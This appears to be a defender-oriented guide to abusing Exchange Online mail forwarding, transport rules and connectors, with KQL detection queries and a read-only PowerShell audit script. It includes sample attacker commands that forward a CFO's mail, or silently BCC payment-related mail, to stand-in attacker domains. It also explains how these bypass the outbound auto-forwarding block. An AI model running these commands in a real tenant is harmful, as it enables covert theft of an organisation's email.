Skip to content

Mail Forwarding, Transport Rules & Connector Abuse

While mailbox-level inbox rules provide targeted persistence against individual victims, adversaries seeking tenant-wide exfiltration and administrative persistence operate at higher architectural tiers within Exchange Online. By manipulating mailbox-level forwarding attributes, tenant mail flow transport rules, and outbound mail connectors, threat actors establish automated surveillance mechanisms that capture entire organizational communication streams.

Furthermore, sophisticated actors know how to circumvent Microsoft’s default outbound anti-spam protectionsβ€”which natively block external auto-forwarding with NDR 550 5.7.520β€”by weaponizing transport-level blind carbon copy (BCC) duplication and tampering with hosted filter policies.

This guide provides an exhaustive architectural and forensic dissection of the three tiers of cloud mail redirection, analyzes anti-spam bypass mechanics, decodes Purview audit records, and provides production-grade KQL hunting queries and PowerShell remediation scripts.


Exchange Online offers three distinct architectural layers for diverting or duplicating message traffic:

graph TD
INCOMING[Inbound Email Arrives at EOP Front-End] --> TIER3{Tier 3: Inbound / Outbound Connectors<br/>Custom Smart Host Routing / Relay Abuse}
TIER3 --> TIER2{Tier 2: Mail Flow Transport Rules<br/>Tenant-Wide Categorizer Evaluation<br/>BlindCopyTo / RedirectMessageTo}
TIER2 --> TIER1{Tier 1: Mailbox Properties<br/>ForwardingSmtpAddress / ForwardingAddress<br/>DeliverToMailboxAndForward}
TIER1 --> STORE[Deposit in Mailbox Store]
TIER1 -.->|External Redirection| EXFIL1[(Attacker Drop Box)]
TIER2 -.->|Silent BCC Duplication| EXFIL2[(Attacker Drop Box)]
TIER3 -.->|MTA Relay Hijack| EXFIL3[(Attacker Controlled Mail Server)]
Redirection TierAdministrative ScopeConfiguration CmdletsForensic Impact & Risk
Tier 1: Mailbox PropertiesPer-User MailboxSet-Mailbox -ForwardingSmtpAddressForwards all incoming mail for a specific user to an external address. Subject to Outbound Anti-Spam Policy blocks.
Tier 2: Transport RulesTenant-Wide (All Users)New-TransportRule -BlindCopyToSilently duplicates messages across the entire tenant matching sensitive criteria. Bypasses Outbound Anti-Spam auto-forwarding blocks.
Tier 3: ConnectorsTenant Transport BoundaryNew-OutboundConnectorReroutes outbound traffic for specific domains through an attacker-specified external smart host, intercepting plain text emails.

At the individual mailbox level, Exchange Online provides two distinct forwarding parameters on the mailbox object:

  1. ForwardingAddress: Points to an internal recipient object already present within the Entra ID / Exchange Global Address List (such as a mail user or contact).
  2. ForwardingSmtpAddress: Accepts an arbitrary external SMTP address string (e.g., exfil@threat-actor.com).
  3. DeliverToMailboxAndForward:
    • If set to $true, incoming messages are deposited in the victim’s inbox and forwarded externally.
    • If set to $false, the mailbox acts as a black hole: incoming messages are forwarded to the attacker, but no copy is deposited in the victim’s mailbox, leaving the victim completely unaware that emails arrived.
Terminal window
# Attacker configuration command
Set-Mailbox -Identity "cfo@target.com" `
-ForwardingSmtpAddress "accounting-audit@attacker-domain.com" `
-DeliverToMailboxAndForward $false

To combat Business Email Compromise, Microsoft enforces a default outbound anti-spam policy where external automated forwarding is disabled:

550 5.7.520 Access denied, Your organization does not allow external forwarding.

However, threat actors routinely bypass this control through two primary mechanisms:

graph TD
ATTACK[Adversary Seeks External Mail Forwarding] --> METHOD{Bypass Vector}
METHOD -->|Vector A: Policy Tampering| POL[Modify Outbound Anti-Spam Policy<br/>Set-HostedOutboundSpamFilterPolicy<br/>AutoForwardingMode = On]
METHOD -->|Vector B: Transport Rule Duplication| TR[Create Transport Rule with BlindCopyTo<br/>New-TransportRule -BlindCopyTo attacker@drop.com]
POL --> NDR_OFF[EOP Permits All Outbound Forwarding<br/>NDR 5.7.520 Silenced Tenant-Wide]
TR --> CAT_DUP[Transport Categorizer Duplicates Message<br/>Evaluated as Independent Envelope Recipient<br/>Not Classified as 'Auto-Forward'!]

If the adversary compromises an identity with the Exchange Administrator or Security Administrator role, they directly reconfigure the default policy:

Terminal window
Set-HostedOutboundSpamFilterPolicy -Identity "Default" -AutoForwardingMode On

This single command re-enables external forwarding tenant-wide, opening the floodgates for mailbox-level exfiltration.

3.2 Vector B: Transport Rule Duplication (The BCC Loophole)

Section titled β€œ3.2 Vector B: Transport Rule Duplication (The BCC Loophole)”

The most sophisticated adversaries do not touch the anti-spam policy. Instead, they create a Mail Flow Transport Rule that applies a BlindCopyTo (BCC) action:

Terminal window
New-TransportRule -Name "Executive Financial Oversight" `
-FromScope InOrganization `
-SubjectOrBodyContainsWords @("wire", "invoice", "payment", "bank") `
-BlindCopyTo "exfil@external-intelligence.com" `
-Priority 0

Exchange Online’s transport categorizer treats BlindCopyTo as a transport-level envelope recipient expansion, not as a user-initiated client auto-forward. Consequently, EOP evaluates the message as an ordinary outbound email, completely bypassing the AutoForwardingMode = Prohibited block!


Modifications across all three tiers generate audit records under RecordType: ExchangeAdmin (2) in the Purview Unified Audit Log:

Operation NameWorkloadForensic Details Captured in AuditData
Set-MailboxExchangeParameters.ForwardingSmtpAddress, Parameters.DeliverToMailboxAndForward, Target: victim@target.com.
New-TransportRuleExchangeParameters.Name, Parameters.BlindCopyTo, Parameters.RedirectMessageTo, rule conditions.
Set-HostedOutboundSpamFilterPolicyExchangeParameters.AutoForwardingMode (On vs Prohibited).
New-OutboundConnectorExchangeParameters.SmartHosts, Parameters.RecipientDomains, Parameters.TlsDomain.
// Example: Raw AuditData JSON for Malicious Transport Rule Creation
{
"CreationTime": "2026-03-24T11:45:10",
"Id": "9f8e7d6c-5b4a-3210-9876-1e2f3a4b5c6d",
"Operation": "New-TransportRule",
"OrganizationId": "8f3b6a9c-2d1e-4b5a-9f8e-7c6b5a4d3e2f",
"RecordType": 2,
"ResultStatus": "True",
"UserId": "admin-compromised@target.com",
"ClientIP": "198.51.100.33",
"Parameters": [
{ "Name": "Name", "Value": "Client Service Feedback Loop" },
{ "Name": "BlindCopyTo", "Value": "surveillance@external-drop.com" },
{ "Name": "SubjectOrBodyContainsWords", "Value": "invoice;wire;transfer;bank" },
{ "Name": "Priority", "Value": "0" }
]
}

5.1 Detecting Tampering with Outbound Anti-Spam Policy

Section titled β€œ5.1 Detecting Tampering with Outbound Anti-Spam Policy”

Flag any administrative action that enables automated external mail forwarding:

CloudAppEvents
| where TimeGenerated >= ago(30d)
| where ActionType in ("Set-HostedOutboundSpamFilterPolicy", "New-HostedOutboundSpamFilterPolicy")
| extend Raw = parse_json(RawEventData)
| extend Parameters = Raw.Parameters
| mv-expand Parameters
| where Parameters.Name == "AutoForwardingMode" and Parameters.Value in ("On", "Enabled")
| project TimeGenerated, AccountDisplayName, ActionType, PolicyName=tostring(Raw.ObjectId),
ClientIP=tostring(Raw.ClientIP), Parameters
| sort by TimeGenerated desc

5.2 Detecting Transport Rules Adding External BCC or Redirection

Section titled β€œ5.2 Detecting Transport Rules Adding External BCC or Redirection”

Identify newly created transport rules that duplicate or redirect emails to external domains:

CloudAppEvents
| where TimeGenerated >= ago(30d)
| where ActionType in ("New-TransportRule", "Set-TransportRule")
| extend Raw = parse_json(RawEventData)
| extend Parameters = Raw.Parameters
| mv-expand Parameters
| extend ParamName = tostring(Parameters.Name), ParamValue = tostring(Parameters.Value)
| summarize
RuleParams = make_bag(pack(ParamName, ParamValue)),
ClientIP = take_any(tostring(Raw.ClientIP))
by TimeGenerated, AccountDisplayName, ActionType
| extend RuleName = tostring(RuleParams.Name),
BlindCopyTo = tostring(RuleParams.BlindCopyTo),
RedirectTo = tostring(RuleParams.RedirectMessageTo)
| where isnotempty(BlindCopyTo) or isnotempty(RedirectTo)
| project TimeGenerated, AccountDisplayName, ActionType, RuleName, BlindCopyTo, RedirectTo, ClientIP
| sort by TimeGenerated desc

5.3 Detecting Mailbox-Level Forwarding Assignments (Set-Mailbox)

Section titled β€œ5.3 Detecting Mailbox-Level Forwarding Assignments (Set-Mailbox)”

Identify any mailbox where an external forwarding SMTP address was assigned:

CloudAppEvents
| where TimeGenerated >= ago(30d)
| where ActionType == "Set-Mailbox"
| extend Raw = parse_json(RawEventData)
| extend Parameters = Raw.Parameters
| mv-expand Parameters
| where Parameters.Name in ("ForwardingSmtpAddress", "ForwardingAddress")
| where isnotempty(tostring(Parameters.Value))
| project TimeGenerated, AccountDisplayName, TargetMailbox=tostring(Raw.ObjectId),
ForwardingParameter=tostring(Parameters.Name), ForwardingTarget=tostring(Parameters.Value),
ClientIP=tostring(Raw.ClientIP)
| sort by TimeGenerated desc

6. Comprehensive PowerShell Triage & Neutralization Script

Section titled β€œ6. Comprehensive PowerShell Triage & Neutralization Script”

Run this script during an incident response engagement to audit all three mail routing tiers:

Terminal window
# Prerequisites: ExchangeOnlineManagement module
# Connect-ExchangeOnline
Write-Host "=====================================================" -ForegroundColor Cyan
Write-Host " EXCHANGE ONLINE MAIL ROUTING & FORWARDING AUDIT " -ForegroundColor Cyan
Write-Host "=====================================================" -ForegroundColor Cyan
# 1. Audit Outbound Anti-Spam Policy
Write-Host "`n[*] Auditing Outbound Anti-Spam Policies..." -ForegroundColor Yellow
$spamPolicies = Get-HostedOutboundSpamFilterPolicy
foreach ($pol in $spamPolicies) {
if ($pol.AutoForwardingMode -eq "On") {
Write-Error "[!] CRITICAL RISK: Policy '$($pol.Name)' has AutoForwardingMode set to ON!"
} else {
Write-Host "[+] Policy '$($pol.Name)': AutoForwardingMode is $($pol.AutoForwardingMode)" -ForegroundColor Green
}
}
# 2. Audit Mailbox-Level Forwarding
Write-Host "`n[*] Auditing Mailboxes for External Forwarding..." -ForegroundColor Yellow
$forwarded = Get-Mailbox -ResultSize Unlimited | Where-Object { $_.ForwardingSmtpAddress -or $_.ForwardingAddress }
if ($forwarded) {
Write-Warning "[!] Found $($forwarded.Count) mailboxes with active forwarding:"
$forwarded | Select-Object DisplayName, UserPrincipalName, ForwardingSmtpAddress, DeliverToMailboxAndForward | Format-Table
} else {
Write-Host "[+] No mailboxes configured with external forwarding." -ForegroundColor Green
}
# 3. Audit Transport Rules for BCC / Redirection
Write-Host "`n[*] Auditing Mail Flow Transport Rules..." -ForegroundColor Yellow
$transportRules = Get-TransportRule | Where-Object { $_.BlindCopyTo -or $_.RedirectMessageTo }
if ($transportRules) {
Write-Warning "[!] Found $($transportRules.Count) Transport Rules with BCC or Redirection:"
$transportRules | Select-Object Name, Priority, State, BlindCopyTo, RedirectMessageTo | Format-Table
} else {
Write-Host "[+] No suspicious BCC transport rules detected." -ForegroundColor Green
}
# 4. Audit Outbound Connectors
Write-Host "`n[*] Auditing Outbound Connectors..." -ForegroundColor Yellow
$connectors = Get-OutboundConnector
if ($connectors) {
Write-Warning "[!] Review all configured Outbound Connectors:"
$connectors | Select-Object Name, Enabled, ConnectorType, SmartHosts, RecipientDomains | Format-Table
} else {
Write-Host "[+] No custom outbound connectors configured." -ForegroundColor Green
}